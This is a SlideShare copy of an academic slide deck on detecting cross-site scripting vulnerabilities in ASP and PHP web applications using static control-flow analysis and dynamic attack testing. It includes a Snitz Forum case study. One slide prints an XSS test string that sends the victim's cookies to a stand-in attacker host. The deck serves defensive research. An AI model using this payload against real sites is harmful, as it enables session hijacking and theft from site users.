SlideShare a Scribd company logo
Identifying Cross Site
Scripting Vulnerabilities in
    Web Applications

        P. Tramontana, A.R. Fasolino
        Dipartimento di Informatica e Sistemistica
           University of Naples Federico II, Italy


                   G.A. Di Lucca
    RCOST – Research Centre on Software Technology
         University of Sannio, Benevento, Italy


                  M. Mastroianni
            Second University of Naples, Italy
                                                     1
The problem of Internet security and privacy


   Security and privacy are fundamental
    requirements for Web Applications
   75% of the malicious attacks on the Web
    occur at the application level (Gartner
    Group)
   As more complex and automated Web
    Applications arise so does the probability
    of creating security loopholes.

                                       2
The problem of Internet security and privacy

   Security and privacy are usually guaranteed by:
     specific security systems (such as firewalls, or

      Intrusion Detection Systems) and software
      (such as antivirus or encryption software)
     organisational changes to business processes

      finalised to improve security
 But developers do not build security into their
applications, based upon the false assumption that
another area of security will cover it

                                         3
Cross Site Scripting (XSS)


Cross-Site Scripting attack:
  A client executes a page containing script code
  that has been injected from other sources


   How can a malicious user perform a
       Cross Site Scripting attack?



                                         4
First scenario

   Web Application implementing                          Malicious user
    a Guestbook                                                  Malicious
                                       Input Page                code
   Malicious user inserting a
    message, containing script
    code
   The script code is stored into     DB table         DB Storage Page
    the database
   A victim open the Message
    page
   Since no checks are                                      Victim
    performed, the script code is
    sent to the browser as a
    message                          Guestbook Page
   The browser executes the                        5
Second scenario

   A Simple Search form                   Victim
   The victim unconsciously
    execute a link containing
    a malicious script code
   Simple Search server
    page write an error
    message…
   … but this error message
    contains the script code,
    that is executed by the
    browser                                 Malicious code

                                       6
Key factors of XSS vulnerability

   the exploits are very simple to carry out, and no particular
    application knowledge or skill are required;
   the attacks may bypass perimeter defences (e.g.
    Firewalls), cryptography, digital signatures and site
    trusting;
   it may be very difficult for the victim to know which web
    application allowed the XSS attack;
   it may be very difficult for the developer to know which
    element of the web application allowed the XSS attack;
   evolution of hypertextual language characteristics and
    browser capabilities may make it possible new attack
    strategies and make vulnerable a web application which
    was considered invulnerable.
                                               7
Possible solutions

   To disable scripting language interpretation in
    browsers
   To install of a software proxy which intercepts
    malicious strings in input and/or output (Scott and
    Sharp, 2002)
   To introduce an input validation function
    immediately after every input statement contained
    in a Web page
       To adopt this solution detection of vulnerabilities in
        source server script code is needed

                                                   8
Detection and assessment of XSS vulnerabilities


Static and dynamic analysis of server pages are combined to
  detect and assess XSS vulnerabilities:
 Static analysis detects vulnerable pages and potentially

  vulnerable pages
 Dynamic analysis consists in the execution of a set of test

  cases reproducing XSS attacks




                                              9
Potential vulnerability of a server page

   A server page will be potentially XSS vulnerable if there
    are a variable v and two Input(v) and Output(v) nodes that
    are connected by a path on the CFG.
                              nI   <%
     nI
                                   ‘Read Message from input form
          Input               1    Message=request.form("txtMessage")
     1    Message
                                   ‘Check for string “script” in Message
     2
                              2    if instr(1,Message,“script")>0 then
            Message
                              3       response.write(“Forbidden”)
              …               4    else
    3                                 . . . open DB connection . . .
             10
                    Output    8       rs.open "Guestbook",conn,1,2,2
                    Message
                                      ‘Store Message into the DB
              …               9       rs.Addnew
                              10      rs("Message")=Message
            nF                11      rs.update
                              nF   end if
                                   %>
                                                                    10
Vulnerability of a server page

   A server page will be vulnerable if there are a variable v,
    and two Input(v) and Output(v) nodes, such that all the
    paths on the CFG leaving the Input(v) node reach the
    Output(v) node, being def-clear with respect to v.
              nI
                                 nI   <%
                                      ‘Read Message from input form
                       Input     1    Message=request.form("txtMessage")
              1        Message        . . . open DB connection . . .
                                 5    rs.open "Guestbook",conn,1,2,2
    Message
                  …
                                      ‘Store Message into the DB
                                 6    rs.Addnew
                                 7    rs("Message")=Message
                      Output     8    rs.update
              7       Message
                                 nF   %>
                  …



              nF                                                     11
Invulnerability of a server pages

   A server page including an input data item that does not
    affect any output will be certainly invulnerable with respect
    to that input.
     nI
                      nI   <%
                           ‘Read Message from input form
          Input
          Message     1    Message=request.form("txtMessage")
     1
                           . . . open DB connection . . .
                      5    rs.open "Guestbook",conn,1,2,2
     …
                           ‘Store a constant string into the DB
                      6    rs.Addnew
                      7    rs("Message")=“One message received”
     nF
                      8    rs.update
                      nF   %>




                                                              12
Vulnerability conditions

Vulnerability predicates:
  A(v): There exists a path on the CFG between I and O nodes.
 B(v): The O node postdominates I node.

 C(v): Each path between I node and O node is a def-clear-path

(obviously, B(v)=>A(v) and C(v)=>A(v) )


Vulnerability conditions:
   PV) ∃v ∈ P: A(v) => P is potentially vulnerable with respect to v => P
    is potentially vulnerable
   V) ∃v ∈ P: B(v) AND C(v) => P is vulnerable with respect to v => P
    is vulnerable
   NV) ∃v ∈ P: NOT(A(v)) => P is not vulnerable with respect to v
                                                         13
Examples (1)

                             nI   <%
 nI
                                  ‘Read Message from input form
      Input                  1    Message=request.form("txtMessage")
 1    Message
                                  ‘Check for string “script” in Message
 2
                             2    if instr(1,Message,“script")>0 then
          Message
                             3       response.write(“Forbidden”)
             …               4    else
3                                    . . . open DB connection . . .
            10
                 Output      8       rs.open "Guestbook",conn,1,2,2
                 Message
                                     ‘Store Message into the DB
             …               9       rs.Addnew
                             10      rs("Message")=Message
          nF                 11      rs.update                        The server page
                             nF   end if                              is potentially
                                  %>
                                                                         vulnerable with
          Predicate values            Condition        Input variable    respect to the
      A          B           C    V     P         NV    
                                                                         variable Message
      T          F           T    F    T          F    Message

                                                                        14
Examples (2)

           nI
                               nI       <%
                                        ‘Read Message from input form
                     Input     1        Message=request.form("txtMessage")
           1         Message            . . . open DB connection . . .
                               5        rs.open "Guestbook",conn,1,2,2
Message
               …
                                        ‘Store Message into the DB
                               6        rs.Addnew
                               7        rs("Message")=Message
                    Output     8        rs.update
           7        Message
                               nF       %>
               …


                                                                              The server page
                                                                              is vulnerable with
           nF


                                                                              respect to the
      Predicate values                     Condition        Input variable    variable Message
  A             B        C          V       P          NV    
  T             T        T          T       T          F    Message

                                                                             15
Examples (3)

nI
                           nI   <%
                                ‘Read Message from input form
          Input
          Message          1    Message=request.form("txtMessage")
1
                                . . . open DB connection . . .
                           5    rs.open "Guestbook",conn,1,2,2
…
                                ‘Store a constant string into the DB
                           6    rs.Addnew
                           7    rs("Message")=“One message received”
nF
                           8    rs.update
                           nF   %>



        Predicate values              Condition        Input variable
                                                                         The server page
    A          B           C     V     P          NV                     is not vulnerable
    F          F           F     F     F          T    Message




                                                                        16
Static analysis



1.     Identify the input and output nodes of the CFG of the page P;
2.      Identify all paths leaving the input nodes on the CFG;
3.      For each path leaving an input(v) node and reaching an output(v)
       node, verify if the path is def-clear with respect to v;
4.      Evaluates A, B, and C predicates’ values with respect to v;
5.      Evaluate the vulnerability of page P, by the PV, NV, and V
       conditions.


 With reference to the second step of this process, in order to cope with the complexity
 of identifying all paths leaving the input nodes on the CFG, the analysis can be limited
 to a set of linearly independent paths extracted from the CFG.

                                                                       17
Dynamic analysis


   Tthe presence of a vulnerable page doesn’t imply that a
    XSS attack can be performed. To assess if a Web
    Application is actually vulnerable to XSS attacks,
    dynamic analysis may be performed.
   A vulnerability should be corrected and eliminated by the
    developer. The semantic of the source code of pages
    containing potential vulnerability should be analysed by
    the developer.
   A testing strategy involving the execution of a set of
    attack test cases must be followed


                                              18
Testing strategy (second scenario)


FOR EACH vulnerable or potentially vulnerable
   page P of the Web Application
  FOR EACH input field I of page P causing
   vulnerability
    Define a set S of XSS attack strings
    FOR EACH s ∈ S
       EXECUTE server page P with
       input field I=s
       Check for attack consequences



                                     19
Testing strategy (first scenario)


FOR EACH vulnerable or potentially vulnerable page
    P of the Web Application
    FOR EACH input field I of page P causing
    vulnerability
    Define a set S of XSS attack strings
   FOR EACH s ∈ S
      EXECUTE server page P with input field I= s
     FOR EACH test case T from the test suite
        EXECUTE test case T
        Check for attack consequences




                                         20
Case study

   Real world open source Web Applications
    implemented in PHP and ASP has been
    analysed
   An example: Snitz Forum, version 3.4.03 (
    http://forum.snitz.com)
   Vulnerability situations has been detected using
    static analysis
   A vulnerability to XSS attacks of the second type
    has been confirmed by dynamic analysis
                                        21
An example
 An example of vulnerability is contained in the following source code:


Response.Write “<input type=""text"" name=""Search""
   size=""40"" value=""" & Request.QueryString("Search") &
   """><br />" & vbNewLine


This line of search.asp page contains a vulnerability: the value of an
input variable (Search) will be sent to the client browser with no
checks. The following test case perform a XSS attack redirecting Client
Cookie values to a page of attacker’s server :

“><script>location.URL=‘http://www.attackersite.com/atta
cker.cgi?’ + document.cookie) </script>

                                                       22
An example

This vulnerability is also reported by Bugtraq web sites (
http://www.securityfocus.com, http://msgs.securepoint.com/bugtraq/)
and it has been corrected in the next version (3.4.04) of the forum




Response.Write ”           "<td bgColor=""" &
strPopUpTableColor & """ align=""left"" valign=""middle"">
<input type=""text"" name=""Search"" size=""40"" value="""
& trim(ChkString(Request.QueryString("Search"),"display"))
& """><br />" & vbNewLine & _




                                                    23
Conclusions
   A WA should be intrinsically secure, by adopting secure
    programming practices, in order to preserve its
    invulnerability as the execution environment changes.

   This paper proposed an approach for assessing the XSS
    vulnerability of an existing WA based on static and
    dynamic analysis of source code: Static analysis criteria
    have been defined to individuate vulnerable Web pages,
    while dynamic analysis strategies have been proposed to
    test the actual vulnerability of the Web Application
    including the vulnerable pages.

                                              24
Future works

   To support static analysis with automatic tools

   To integrate dynamic analysis with test case
    execution tools

   To assess the effectiveness of the approach with
    a wider set of applications



                                         25

More Related Content

What's hot

Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
Barrel Software
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
Nabin Dutta
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
InMobi Technology
 
Xss what the heck-!
Xss   what the heck-!Xss   what the heck-!
Xss what the heck-!
VodqaBLR
 
Xss
XssXss
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
Daisuke_Dan
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
Ritesh Gupta
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
Ali Mattash
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
Vishal Kumar
 
XSS
XSSXSS
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Sandeep Kumbhar
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
Daniel Tumser
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
n|u - The Open Security Community
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
vinayh.vaghamshi _
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
Arjun Jain
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
Manish Kumar
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
Prakashchand Suthar
 
Xss attack
Xss attackXss attack
Xss attack
Manjushree Mashal
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
Michael Coates
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
Potato
 

What's hot (20)

Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Xss what the heck-!
Xss   what the heck-!Xss   what the heck-!
Xss what the heck-!
 
Xss
XssXss
Xss
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
XSS
XSSXSS
XSS
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Xss attack
Xss attackXss attack
Xss attack
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
 

Viewers also liked

Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities
Papitha Velumani
 
Analysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security VulnerabilitiesAnalysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security Vulnerabilities
KaashivInfoTech Company
 
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
Nurul Haszeli Ahmad
 
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникацииАрмия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Andrew Petukhov
 
2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security
Raleigh ISSA
 
A Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application VulnerabilitiesA Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application Vulnerabilities
Yuji Kosuga
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Andrew Petukhov
 
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEWEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
Ajith Kp
 
No locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureNo locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructure
Andrew Petukhov
 
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web AppsCODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
Isao Takaesu
 
Attributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryptionAttributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryption
KaashivInfoTech Company
 
data mining for security application
data mining for security applicationdata mining for security application
data mining for security application
bharatsvnit
 
Technology buffet for new teachers march 2012
Technology buffet for new teachers march 2012Technology buffet for new teachers march 2012
Technology buffet for new teachers march 2012
Karen Brooks
 

Viewers also liked (13)

Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities
 
Analysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security VulnerabilitiesAnalysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security Vulnerabilities
 
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
 
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникацииАрмия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
 
2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security
 
A Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application VulnerabilitiesA Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application Vulnerabilities
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
 
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSEWEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
 
No locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureNo locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructure
 
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web AppsCODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
 
Attributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryptionAttributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryption
 
data mining for security application
data mining for security applicationdata mining for security application
data mining for security application
 
Technology buffet for new teachers march 2012
Technology buffet for new teachers march 2012Technology buffet for new teachers march 2012
Technology buffet for new teachers march 2012
 

Similar to Identifying Cross Site Scripting Vulnerabilities in Web Applications

Protecting Web Services from DDOS Attack
Protecting Web Services from DDOS AttackProtecting Web Services from DDOS Attack
Protecting Web Services from DDOS Attack
Ponraj
 
Client sidesec 2013 - script injection
Client sidesec 2013 - script injectionClient sidesec 2013 - script injection
Client sidesec 2013 - script injection
Tal Be'ery
 
Real time websites and mobile apps with SignalR
Real time websites and mobile apps with SignalRReal time websites and mobile apps with SignalR
Real time websites and mobile apps with SignalR
Roy Cornelissen
 
PayPal under the hood
PayPal under the hoodPayPal under the hood
PayPal under the hood
X.commerce
 
17-Networking.pdf
17-Networking.pdf17-Networking.pdf
17-Networking.pdf
sophia763824
 
Talk of the hour, the wanna crypt ransomware
Talk of the hour, the wanna crypt ransomwareTalk of the hour, the wanna crypt ransomware
Talk of the hour, the wanna crypt ransomware
shubaira
 
Socket programming using java
Socket programming using javaSocket programming using java
Socket programming using java
UC San Diego
 
Locking the Doors -7 Pernicious Pitfalls to avoid with Java
Locking the Doors -7 Pernicious Pitfalls to avoid with JavaLocking the Doors -7 Pernicious Pitfalls to avoid with Java
Locking the Doors -7 Pernicious Pitfalls to avoid with Java
Steve Poole
 
Real time event feeds with NServiceBus and SignalR
Real time event feeds with NServiceBus and SignalRReal time event feeds with NServiceBus and SignalR
Real time event feeds with NServiceBus and SignalR
Roy Cornelissen
 
Report on xss and do s
Report on xss and do sReport on xss and do s
Report on xss and do s
mehr77
 
Welcome to International Journal of Engineering Research and Development (IJERD)
Welcome to International Journal of Engineering Research and Development (IJERD)Welcome to International Journal of Engineering Research and Development (IJERD)
Welcome to International Journal of Engineering Research and Development (IJERD)
IJERD Editor
 
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
ITAS VIETNAM
 
Lindsay distributed geventzmq
Lindsay distributed geventzmqLindsay distributed geventzmq
Lindsay distributed geventzmq
Robin Xiao
 
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native EraNATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
All Things Open
 
NATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
NATS: Simple, Secure and Scalable Messaging For the Cloud Native EraNATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
NATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
wallyqs
 
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
NATS
 
Upgrading_your_microservices_to_next_level_v1.0.pdf
Upgrading_your_microservices_to_next_level_v1.0.pdfUpgrading_your_microservices_to_next_level_v1.0.pdf
Upgrading_your_microservices_to_next_level_v1.0.pdf
VladimirRadzivil
 
ClubHack Magazine issue April 2012
ClubHack Magazine issue April 2012ClubHack Magazine issue April 2012
ClubHack Magazine issue April 2012
ClubHack
 
Network And Application Layer Attacks
Network And Application Layer AttacksNetwork And Application Layer Attacks
Network And Application Layer Attacks
Arun Modi
 
Owning bad guys {and mafia} with javascript botnets
Owning bad guys {and mafia} with javascript botnetsOwning bad guys {and mafia} with javascript botnets
Owning bad guys {and mafia} with javascript botnets
Chema Alonso
 

Similar to Identifying Cross Site Scripting Vulnerabilities in Web Applications (20)

Protecting Web Services from DDOS Attack
Protecting Web Services from DDOS AttackProtecting Web Services from DDOS Attack
Protecting Web Services from DDOS Attack
 
Client sidesec 2013 - script injection
Client sidesec 2013 - script injectionClient sidesec 2013 - script injection
Client sidesec 2013 - script injection
 
Real time websites and mobile apps with SignalR
Real time websites and mobile apps with SignalRReal time websites and mobile apps with SignalR
Real time websites and mobile apps with SignalR
 
PayPal under the hood
PayPal under the hoodPayPal under the hood
PayPal under the hood
 
17-Networking.pdf
17-Networking.pdf17-Networking.pdf
17-Networking.pdf
 
Talk of the hour, the wanna crypt ransomware
Talk of the hour, the wanna crypt ransomwareTalk of the hour, the wanna crypt ransomware
Talk of the hour, the wanna crypt ransomware
 
Socket programming using java
Socket programming using javaSocket programming using java
Socket programming using java
 
Locking the Doors -7 Pernicious Pitfalls to avoid with Java
Locking the Doors -7 Pernicious Pitfalls to avoid with JavaLocking the Doors -7 Pernicious Pitfalls to avoid with Java
Locking the Doors -7 Pernicious Pitfalls to avoid with Java
 
Real time event feeds with NServiceBus and SignalR
Real time event feeds with NServiceBus and SignalRReal time event feeds with NServiceBus and SignalR
Real time event feeds with NServiceBus and SignalR
 
Report on xss and do s
Report on xss and do sReport on xss and do s
Report on xss and do s
 
Welcome to International Journal of Engineering Research and Development (IJERD)
Welcome to International Journal of Engineering Research and Development (IJERD)Welcome to International Journal of Engineering Research and Development (IJERD)
Welcome to International Journal of Engineering Research and Development (IJERD)
 
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
[ITAS.VN]CheckMarx-CxSuite-Sample result for webgoat5.3rc1
 
Lindsay distributed geventzmq
Lindsay distributed geventzmqLindsay distributed geventzmq
Lindsay distributed geventzmq
 
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native EraNATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
NATS: Simple, Secure, and Scalable Messaging for the Cloud Native Era
 
NATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
NATS: Simple, Secure and Scalable Messaging For the Cloud Native EraNATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
NATS: Simple, Secure and Scalable Messaging For the Cloud Native Era
 
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
Simple, Secure, Scalable Messaging for the Cloud Native Era - AllThingsOpen 2...
 
Upgrading_your_microservices_to_next_level_v1.0.pdf
Upgrading_your_microservices_to_next_level_v1.0.pdfUpgrading_your_microservices_to_next_level_v1.0.pdf
Upgrading_your_microservices_to_next_level_v1.0.pdf
 
ClubHack Magazine issue April 2012
ClubHack Magazine issue April 2012ClubHack Magazine issue April 2012
ClubHack Magazine issue April 2012
 
Network And Application Layer Attacks
Network And Application Layer AttacksNetwork And Application Layer Attacks
Network And Application Layer Attacks
 
Owning bad guys {and mafia} with javascript botnets
Owning bad guys {and mafia} with javascript botnetsOwning bad guys {and mafia} with javascript botnets
Owning bad guys {and mafia} with javascript botnets
 

More from Porfirio Tramontana

An Approach for Model Based Testing of Augmented Reality Applications.pdf
An Approach for Model Based Testing of Augmented Reality Applications.pdfAn Approach for Model Based Testing of Augmented Reality Applications.pdf
An Approach for Model Based Testing of Augmented Reality Applications.pdf
Porfirio Tramontana
 
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Towards the Generation of Robust E2E Test Cases in Template-based Web Applica...
Porfirio Tramontana
 
Techniques and Tools for Mobile Testing Automation
Techniques and Tools for Mobile Testing AutomationTechniques and Tools for Mobile Testing Automation
Techniques and Tools for Mobile Testing Automation
Porfirio Tramontana
 
A technique for parallel gui testing of android applications
A technique for parallel gui testing of android applicationsA technique for parallel gui testing of android applications
A technique for parallel gui testing of android applications
Porfirio Tramontana
 
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Reverse Engineering of Data Models from Legacy Spreadsheets-Based Systems: An...
Porfirio Tramontana
 
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Reverse Engineering Techniques: from Web Applications to Rich Internet Applic...
Porfirio Tramontana
 
Web Application Testing in Fifteen Years of WSE
Web Application Testing in Fifteen Years of WSEWeb Application Testing in Fifteen Years of WSE
Web Application Testing in Fifteen Years of WSE
Porfirio Tramontana
 
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Towards a Better Comprehensibility of Web Applications: Lessons Learned from ...
Porfirio Tramontana
 
Comprehending Web Applications by a Clustering Based Approach
Comprehending Web Applications by a Clustering Based Approach Comprehending Web Applications by a Clustering Based Approach
Comprehending Web Applications by a Clustering Based Approach
Porfirio Tramontana
 
Reverse Engineering Web Applications
Reverse Engineering Web ApplicationsReverse Engineering Web Applications
Reverse Engineering Web Applications
Porfirio Tramontana
 
Recovering Interaction Design Patterns in Web Applications
Recovering Interaction Design Patterns in Web Applications Recovering Interaction Design Patterns in Web Applications
Recovering Interaction Design Patterns in Web Applications
Porfirio Tramontana
 
Improving Usability of Web Pages for Blind
Improving Usability of Web Pages for BlindImproving Usability of Web Pages for Blind
Improving Usability of Web Pages for Blind
Porfirio Tramontana
 
Techniques and Tools for Rich Internet Applications Testing
Techniques and Tools for Rich Internet Applications TestingTechniques and Tools for Rich Internet Applications Testing
Techniques and Tools for Rich Internet Applications Testing
Porfirio Tramontana
 
